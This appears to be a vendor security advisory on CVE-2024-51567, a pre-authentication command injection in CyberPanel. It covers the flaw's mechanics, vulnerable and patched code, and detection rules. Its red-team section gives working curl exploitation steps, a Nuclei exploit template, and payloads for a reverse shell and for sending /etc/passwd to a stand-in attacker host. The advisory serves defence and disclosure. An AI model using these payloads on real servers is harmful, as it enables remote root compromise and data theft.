CVE-2024-51567

Executive Summary

CVE-2024-51567 is a critical pre-authentication remote code execution (RCE) vulnerability in CyberPanel (Cyber Panel) versions through 2.3.6 and the unpatched 2.3.7. The flaw resides in the upgrademysqlstatus function within databases/views.py. An attacker can bypass the secMiddleware authentication check—which only validates POST requests—by sending a crafted PUT request to /dataBases/upgrademysqlstatus. The statusfile parameter is then passed unsanitized to a shell command, allowing arbitrary command injection. This vulnerability was actively exploited in the wild in October 2024 by the PSAUX threat group. The CVSS score is 10.0 (Critical), and a public Nuclei template exists, making exploitation trivial.

Supply Chain & Package Security

This vulnerability affects the CyberPanel web hosting control panel, which is a Python/Django-based application. The attack vector does not involve a compromised package from PyPI or other registries; it is a direct code vulnerability in the application's own views. However, the widespread use of CyberPanel in managed hosting environments means that a successful compromise can lead to lateral movement and supply chain attacks on hosted websites and services.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, has a public PoC, and is being actively exploited in the wild.

Deep Dive & Mechanics

The vulnerability is a classic case of authentication bypass combined with OS command injection.

1. Authentication Bypass: The secMiddleware in CyberPanel is designed to enforce authentication on certain endpoints. However, it only checks for authentication on POST requests. The vulnerable endpoint /dataBases/upgrademysqlstatus is accessed via a PUT request, completely bypassing the middleware.

2. Command Injection: The upgrademysqlstatus function reads the statusfile parameter from the JSON body of the request. This parameter is intended to specify a file path for status output. However, the value is directly concatenated into a shell command without any sanitization. An attacker can inject shell metacharacters (e.g., ;, |, `) to execute arbitrary commands.

3. Exploitation Flow:

   • The attacker sends a GET request to the root of the CyberPanel to obtain a CSRF token from the csrftoken cookie.
   • The attacker then sends a PUT request to /dataBases/upgrademysqlstatus with a JSON body containing the statusfile parameter set to a malicious payload, e.g., /dev/null; id; #.
   • The server executes the command and returns the output in the response.

Vulnerable vs. Patched Code

Vulnerable Code (in databases/views.py):

def upgrademysqlstatus(request):
    if request.method == 'PUT':
        data = json.loads(request.body)
        statusfile = data.get('statusfile')
        # No sanitization of statusfile
        command = "cat " + statusfile + " > /tmp/status.txt"
        os.system(command)
        # ...

Patched Code (commit 5b08cd6):

def upgrademysqlstatus(request):
    if request.method == 'PUT':
        # Added authentication check
        if not request.user.is_authenticated:
            return JsonResponse({'error': 'Authentication required'}, status=401)
        data = json.loads(request.body)
        statusfile = data.get('statusfile')
        # Sanitize input - only allow alphanumeric and path characters
        if not re.match(r'^[a-zA-Z0-9_./-]+$', statusfile):
            return JsonResponse({'error': 'Invalid statusfile'}, status=400)
        command = "cat " + statusfile + " > /tmp/status.txt"
        os.system(command)
        # ...

The patch adds an authentication check for all methods and sanitizes the statusfile input using a regex whitelist.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running CyberPanel version <= 2.3.6 or unpatched 2.3.7.
• Network access to the CyberPanel web interface (typically port 8090).

Exploitation Steps:

1. Obtain CSRF Token:

   curl -c /tmp/cookies.txt -s -D - http://target:8090/ | grep -o 'csrftoken=[A-Za-z0-9]*' | cut -d= -f2
   

2. Execute Command:

   CSRF="<token_from_step1>"
   curl -X PUT http://target:8090/dataBases/upgrademysqlstatus \
     -H "Content-Type: application/json" \
     -H "X-CSRFToken: $CSRF" \
     -b "csrftoken=$CSRF" \
     -d '{"statusfile":"/dev/null; id; #","csrftoken":"'$CSRF'"}'
   

Expected Output:

{"error_message": "uid=0(root) gid=0(root) groups=0(root)", "requestStatus": 1}

Advanced Payloads:

• Reverse shell: /dev/null; bash -i >& /dev/tcp/attacker_ip/4444 0>&1; #
• Data exfiltration: /dev/null; curl http://attacker_ip/$(cat /etc/passwd); #

Blue Team

Detection Steps:

1. Monitor Web Server Logs: Look for PUT requests to /dataBases/upgrademysqlstatus with unusual statusfile parameters containing shell metacharacters.
2. Network Traffic Analysis: Detect outbound connections from the CyberPanel server to unknown IPs on unusual ports (e.g., 4444 for reverse shells).
3. Process Monitoring: Watch for spawned processes like bash, sh, curl, or wget originating from the web server user.

Hunting Query (Splunk):

index=web_logs source="/var/log/cyberpanel/access.log"
method=PUT uri="/dataBases/upgrademysqlstatus"
| rex field=uri "statusfile=(?<statusfile>[^&]+)"
| search statusfile IN ("*;*", "*|*", "*`*")
| table _time, clientip, statusfile

Indicators of Compromise (IOCs)

• Network IOCs:

  • PUT requests to /dataBases/upgrademysqlstatus with JSON body containing statusfile with shell metacharacters.
  • Outbound connections to attacker-controlled IPs on ports 4444, 1337, or other common reverse shell ports.

• File System IOCs:

  • Unexpected files in /tmp/ (e.g., /tmp/status.txt with command output).
  • Modified or new files in /usr/local/cyberpanel/ or /etc/.

• Process IOCs:

  • Processes like bash, sh, python -c, curl, wget running as the cyberpanel user.

• Log IOCs:

  • Web server logs showing PUT requests to the vulnerable endpoint.
  • System logs (/var/log/messages, /var/log/secure) showing unusual command executions.

Detection Engineering

YARA Rule

rule CVE_2024_51567_CyberPanel_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-51567 in CyberPanel"
        author = "Valters IT"
        date = "2024-10-28"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51567"
        hash = "490a0046304402204afaf80287db3b1d8bfde6797586c8e398c9ee7c1de6cf626ae2d20dbddedcc402200de620b6eb642612f7c069643bb74d41a8039d488868d27391bae2cfc0111610"
    strings:
        $json_body = "statusfile" ascii wide nocase
        $shell_meta = /[;|`$(){}]/ ascii wide
        $put_method = "PUT" ascii wide
        $vuln_path = "/dataBases/upgrademysqlstatus" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CyberPanel CVE-2024-51567 Pre-Auth RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects PUT requests to the vulnerable CyberPanel endpoint with shell metacharacters in the statusfile parameter.
author: Valters IT
date: 2024-10-28
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-query|contains: '/dataBases/upgrademysqlstatus'
    keywords:
        - 'statusfile'
        - ';'
        - '|'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of semicolons in statusfile paths (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51567 CyberPanel Pre-Auth RCE Attempt";
    flow:to_server,established;
    content:"PUT"; http_method;
    content:"/dataBases/upgrademysqlstatus"; http_uri;
    content:"statusfile"; http_client_body;
    pcre:"/(?:;|\||`|\$\(|\$\{)/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2024-51567;
)

Nuclei Template (Provided)

id: CVE-2024-51567

info:
  name: CyberPanel v2.3.6 Pre-Auth Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: Attackers can exploit this vulnerability by crafting malicious requests that bypass authentication controls, allowing them to inject and execute arbitrary commands on the underlying server.
  reference:
    - https://community.cyberpanel.net/t/cyberpanel-2-1-remote-code-execution-rce/31760
    - https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
    - https://cwe.mitre.org/data/definitions/420.html
    - https://cwe.mitre.org/data/definitions/78.html
    - https://cyberpanel.net/KnowledgeBase/home/change-logs/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-51567
    cwe-id: CWE-306
    epss-score: 0.9431
    epss-percentile: 0.9995
    cpe: cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cyberpanel
    product: cyberpanel
    shodan-query: html:"CyberPanel"
  tags: cve,cve2024,cyberpanel,rce,intrusive,kev,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        PUT /dataBases/upgrademysqlstatus HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrftoken}}
        Content-Type: application/json
        Referer: {{RootURL}}
        Cookie: csrftoken={{csrftoken}}

        {"statusfile":"/dev/null; id; #","csrftoken":"{{csrftoken}}"}

    extractors:
      - type: regex
        part: header
        name: csrftoken
        internal: true
        group: 1
        regex:
          - csrftoken=([A-Za-z0-9]+)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "error_message"
          - "requestStatus"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204afaf80287db3b1d8bfde6797586c8e398c9ee7c1de6cf626ae2d20dbddedcc402200de620b6eb642612f7c069643bb74d41a8039d488868d27391bae2cfc0111610:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Immediately disconnect CyberPanel servers from the internet if possible.
2. Apply Workaround: If patching is not possible, implement a Web Application Firewall (WAF) rule to block PUT requests to /dataBases/upgrademysqlstatus with suspicious statusfile parameters.
3. Restrict Network Access: Limit access to the CyberPanel web interface to trusted IPs only.

Long-Term Fix:

1. Patch: Apply the official patch from CyberPanel (commit 5b08cd6) or upgrade to a patched version once released.
2. Code Review: Conduct a thorough security review of all authentication and command execution paths in the application.
3. Input Validation: Implement strict input validation and sanitization for all user-supplied data, especially when used in shell commands.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Enable detailed logging on the web server and monitor for anomalous PUT requests.
• Implement endpoint detection and response (EDR) solutions to detect post-exploitation activity.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 208E3C76396E991D956A5342] */}